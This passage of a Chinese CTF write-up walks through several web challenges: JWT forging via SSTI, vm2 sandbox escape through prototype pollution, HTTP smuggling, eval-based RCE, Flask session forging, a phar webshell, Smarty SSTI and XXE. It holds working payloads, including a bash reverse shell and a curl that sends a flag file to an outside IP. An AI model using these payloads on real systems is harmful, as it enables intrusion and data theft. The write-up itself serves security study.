  4. 如果 “name” 字段是 “admin”,则渲染一个名为 “flag.html” 的模板,并传递 “name” 作为参数。

这里需要两个条件,secret和headers

用ssti漏洞带出这两个条件

创建一个用户

image-20240721192742870

得到对应的jwt的值

1
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTIzIn0.pEkv9ha7ygfhxZay1tBtb48vjBzAW05Rw4-azvvefGA

拉出来看一下具体内容

带着token去访问

image-20240721192942764

尝试ssti

1
{0.__class__.__init__.__globals__}

image-20240721193627529

secret: u_have_kn0w_what_f0rmat_i5

headers: {‘alg’: ‘HS256’, ‘typ’: ‘JWT’}

验证成功

image-20240721193726623

将用户改为admin

image-20240721193809514

将伪造好的jwt放入token重新发包访问hello路由得到flag

image-20240721193908109

[HZNUCTF 2023 final]eznode

Nodejs vm/vm2沙箱逃逸_nodejs vm2-CSDN博客

vm沙箱逃逸初探 | XiLitter

image-20240722085351426

提示尝试查看源码,最直观的就是node.js配置错误造成的源码泄露了,直接访问app.js获得页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}


app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});

app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})

app.listen(3000, function () {
console.log('start listening on port 3000');
});

学习一下相关知识

内置模块的函数

  1. require()

    1
    const express = require('express');

    require()函数用于加载Node.js模块或文件。例如,require('express')加载了Express框架,使你能够使用其提供的功能。

  2. console.log()

    1
    2
    console.log(req.body);
    console.log(e);

    console.log()是Node.js中用于在控制台输出信息的函数,它通常用于调试目的。

  3. JSON.parse()JSON.stringify()

    1
    var body = JSON.parse(JSON.stringify(req.body));

    JSON.parse()用于将JSON格式的字符串转换成JavaScript对象,而JSON.stringify()则将JavaScript对象转换成JSON字符串。在上面的例子中,JSON.stringify(req.body)将请求体转换成字符串,然后JSON.parse()又将其转换回对象,但这实际上是不必要的,因为req.body已经是一个对象。

  4. app.listen()

    1
    2
    3
    app.listen(3000, function () {
    console.log('start listening on port 3000');
    });

    app.listen()是Express框架中的方法,用于启动HTTP服务器并监听特定的端口。在这个例子中,服务器将在3000端口上监听。

Express框架相关的函数

  1. app.use()

    1
    app.use(express.json());

    app.use()是Express的中间件注册函数。在这个例子中,它注册了一个JSON解析中间件,使得服务器能够解析JSON格式的POST请求体。

  2. app.get()app.post()

    1
    2
    app.get('/', function (req, res) {});
    app.post('/', function (req, res) {});

    这些方法用于定义路由处理函数。app.get()定义了处理GET请求的路由,app.post()定义了处理POST请求的路由。req参数是请求对象,包含了客户端发送的所有信息;res参数是响应对象,用于向客户端发送数据。

自定义函数

  1. backdoor()

    1
    const backdoor = function () {};

    这个函数尝试在一个沙箱环境中运行潜在的恶意代码,这是一个非常危险的操作,因为它可能允许远程代码执行。

  2. isObject()

    1
    const isObject = obj => obj && obj.constructor && obj.constructor === Object;

    这个函数用于检查一个变量是否是普通的JavaScript对象。

  3. merge()

    1
    const merge = (a, b) => {};

    这个函数用于合并两个对象,如果对象中有嵌套的对象,它会递归地进行合并。

  4. clone()

    1
    const clone = (a) => {};

    这个函数用于创建一个对象的深拷贝,使用merge()函数实现。

传入一个json数据,经过json.parse函数解析,再通过clone()函数复制到copybody中

image-20240722090830557

vm2会执行shellcode属性里面的内容,我们需要将该属性污染成vm2沙箱逃逸的payload即可执行命令,exp

1
{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}
1
2
3
4
5
6
7
8
(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()
1
2
3
4
5
6
7
8
9
10
11
(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()
1
2
3
4
5
6
7
8
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

没有回显,反斜杠转义,bash里面单引号不行就换双引号

1
{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/101.37.27.18/4444 0>&1\"').toString();"}}

image-20240722092054164

image-20240722092115217

[西湖论剑 2022]real_ez_node

image-20240722093816221

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
secret : 'secret', // 对session id 相关的cookie 进行签名
resave : true,
saveUninitialized: false, // 是否保存未初始化的会话
cookie : {
maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒
},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎
// fs.readFile(filePath, (err, content) => {
// if (err) return callback(new Error(err))
// let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用
// let rendered = compiled()

// return callback(null, rendered)
// })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};

// render the error page
res.status(err.status || 500);
res.render('error');
});

module.exports = app;

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})

router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];

let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}

res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;

猜测是原型链污染,__proto__被过滤,使用constructor.prototype

image-20240722094915229

访问/copy的ip被限制,通过访问/curl利用HTTP走私向/copy发送POST请求,然后污染原型链实现代码执行。curl路由只有q参数可控

1
{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}

POST道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155

{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 101.37.27.18:4444/`cat /flag.txt`');var x"}
'''.replace("\n", "\r\n")


def encode(data):
tmp = u""
for i in data:
tmp += chr(0x0100 + ord(i))
return tmp


payload = encode(payload)
print(payload)

r = requests.get('http://node4.anna.nssctf.cn:28807/curl?q=' + urllib.parse.quote(payload))
print(r.text)

image-20240722100733444

[GFCTF 2021]ez_calc

题目提示

1
2
1.别想太复杂,试着传传其他数据类型
2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。

image-20240722101425663

小写得是admin大写得是ADMIN。考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı会变成I
这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制
同样的”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.

1
2
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

admın/admin123

成功对接

image-20240722101811761

源码在f12中可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
flag = true;
calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
}
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
calc = calc.replace("x", "");
}

try {
result = eval(calc);

}

eval(calc)产生命令执行

但是slice是从第四的元素开始替换,存在逻辑问题,可以逃逸前四个字符(任意值),会发现可以绕过这个判断实现逃逸

禁止了 x 不能有exec

1
require("child_process").spawn('sleep', ['3']);
1
calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

image-20240722103234648

尝试读取文件,没有回显

1
calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

写入静态文件读取

1
calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*>a').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
1
calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

[HDCTF 2023]YamiYami

三个按钮,一个个来

image-20240722190813787

读取,php伪协议直接读,读flga和app.py时有过滤

image-20240722190752517

image-20240722190930204

读取环境变量

1
http://node4.anna.nssctf.cn:28745/read?url=file:///proc/1/environ

image-20240722191042710

无疑是非预期解,这里要获取源码

urllib.request.urlopen可以直接接受urlencode的路径, 但是读本地文件时最前面的/要保留, 不能编码为%2F

因此,我们需要对/app/app.py进行二次编码,第一个/不能编码

得到

1
/%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39

image-20240722191557128

访问后得到源码

image-20240722191619330

然后就是熟悉的session伪造

首先找到secret生成方式

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

读mac

1
2
3
4
5
6
7
8
9
10
11
/etc/passwd用来判断读取漏洞的存在
/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname表示主机名。
/etc/issue指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位

image-20240722192346256

生成secret

1
2
3
4
5
import random

if __name__ == '__main__':
random.seed(0x0242ac02a812)
print(str(random.random() * 233))
1
207.12851557558668

image-20240722193916810

1
python flask_session_cookie_manager3.py encode -t "{'passport': 'Welcome To HDCTF2023'}" -s  "62.6539852098"

image-20240722194312461

image-20240722195318126

image-20240722194615829

上传后通过/boogipop路由去访问响应文件即可

1
http://node4.anna.nssctf.cn:28540/boogipop?file=uploads/1.txt

image-20240722200622404

[FBCTF 2019]rceservice

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

两个点

  • preg_match绕过

%0a换行来绕过,preg_match只能匹配第一行

  • cat被过滤

/bin/cat进行绕过
再用json的格式封装起来

最终payload

1
2
3
{
%0a"cmd":"/bin/cat /home/rceservice/flag"%0a
}

[NISACTF 2022]bingdundun~

基础的phar反序列化

1
2
3
4
5
6
7
8
9
<?php
$payload = '<?php eval($_POST["1"]); ?>'; //一句话木马
$phar = new Phar("example.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("67.php", "$payload"); //添加要压缩的文件
// $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
$phar->stopBuffering();
?>

image-20240723110949181

上传后直接访问对应的压缩进去的php即可

1
http://node5.anna.nssctf.cn:20355/?bingdundun=phar://0551e3d7f50fe9b53c54c885e264a5d1.zip/67

image-20240723111013991

image-20240723111109017

67是创建的时候压缩进去的,自动补全后缀

phar伪协议只认phar文件特征(stub等),后缀是给人看的,因此可以解析zip

[HUBUCTF 2022 新生赛]checkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";

}

?>

考察一个点,布尔类型和非null值比较都等于true

1
2
3
4
5
6
<?php
$a = [
'username' => true,
'password' => true
];
echo serialize($a);

[HDCTF 2023]SearchMaster

Smarty模板注入&CVE-2017-1000480 - 先知社区 (aliyun.com)

标签:

1. {$smarty.version}

1
{$smarty.version}  #获取smarty的版本号

2.{php}{/php}

1
{php}phpinfo();{/php}  #执行相应的php代码

Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

3.{literal}

  • {literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
  • 在 PHP5 环境下存在一种 PHP 标签, <script>language="php"></script>,我们便可以利用这一标签进行任意的 PHP 代码执行。
  • 通过上述描述也可以想到,我们完全可以利用这一种标签来实现 XSS 攻击,这一种攻击方式在 SSTI 中也是很常见的,因为基本上所有模板都会因为需要提供类似的功能。
1
{literal}alert('xss');{/literal}

4.{if}{/if}

1
{if phpinfo()}{/if}

Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||or&&andis_array()等等,如:

1
{if is_array($array)}{/if}

还可以用来执行命令:

1
2
3
4
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}

扫描发现composer.json,访问发现是smarty模板

image-20240723141451626

尝试进入注点东西

image-20240723142227510

image-20240723141901771

image-20240723142427767

image-20240723142444541

image-20240723142507129

[NCTF 2019]Fake XML cookbook

1.什么是xxe?

XXE漏洞(XML外部实体注入)是一种安全漏洞,可以利用输入验证不严格的 XML 解析器来注入恶意代码。攻击者可以通过构造恶意的 XML 文档将其发送到应用程序中,在解析该文档时,XML 解析器会加载外部实体(如文件、URL等),以便在文档中引用它们。攻击者可以利用这个功能来执行各种攻击,例如读取服务器上的任意文件、发送内部网络请求、绕过身份验证等。

有点像SSRF

PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。更多其实是java漏洞,因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。

2.什么是XML

XML(Extensible Markup Language)意为可扩展性标记语言,XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。

参考例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE people [ <!--定义此文档是 people 类型的文档-->
<!ELEMENT people (name,age,mail)> <!--定义people元素有3个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为“#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为“#PCDATA”类型-->
<!ELEMENT mail (#PCDATA)> <!--定义mail元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<people>
<name>john</name>
<age>18</age>
<mail>john@qq.com</mail>
</people>

1.DTD 实体声明

DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:

1
<!DOCTYPE 根元素 [定义内容]>

2.内部实体声明

内部声明采用如下格式定义:

1
<!ENTITY 实体名 "实体值">

声明之后就可以通过“&实体名;”来获取,示例如下

1
2
3
4
5
6
<!DOCTYPE foo [
<!ENTITY test "john">
]>
<root>
<name>&test;</name>
</root

3.外部实体引用

XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。

(1)普通实体声明格式如下:

1
2
3
<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">

举个例子:

1
2
3
4
5
6
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。

(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:

1
2
3
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

注意

举个例子:

1
2
3
4
5
6
7
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>

xxe.dtd 内容如下:

1
<!ENTITY evil SYSTEM "file:///etc/passwd">

上面先声明 xxe 参数实体,引入外部实体 “http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。 在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。

普通实体和外部实体的差别:

作用范围:普通实体的作用范围是整个 XML 文档。当 XML 解析器遇到某个实体时,会将其替换为实体的定义内容。而参数实体只在声明它们的 DTD 内有效。DTD 是一种文档类型定义,它规定了 XML 文档的结构、标签等方面的规范。

回到题目,抓包发现可能存在xxe

image-20240724153830857

exp

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123</password></user>
1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123</password></user>

[HNCTF 2022 WEEK2]easy_unser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php 
include 'f14g.php';
error_reporting(0);

highlight_file(__FILE__);

class body{

private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";

}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}

class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}

$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);


if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
?>
人类最大的敌人,就是无序. Yahi param vaastavikta hai!
We Come To HNCTF,Enjoy the ser14l1zti0n

[SWPUCTF 2023 秋季新生赛]RCE-PLUS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
1
shell_exec()
  • shell_exec()是一个内置的PHP函数,用于执行一个shell命令。这个函数会等待命令执行完毕,并返回命令的完整输出作为字符串。如果命令执行失败或没有输出,它将返回空字符串。

  • 使用示例:

    1
    2
    $output = shell_exec('ls -l');
    echo $output;

由于没有相关打印的函数,因此可以直接写入文件读取

exp

1
2
ls /> 1.txt
cat /fl*> 2.txt

[第五空间 2021]yet_another_mysql_injection

提示/?source

找到源码

1
2
3
4
5
6
7
8
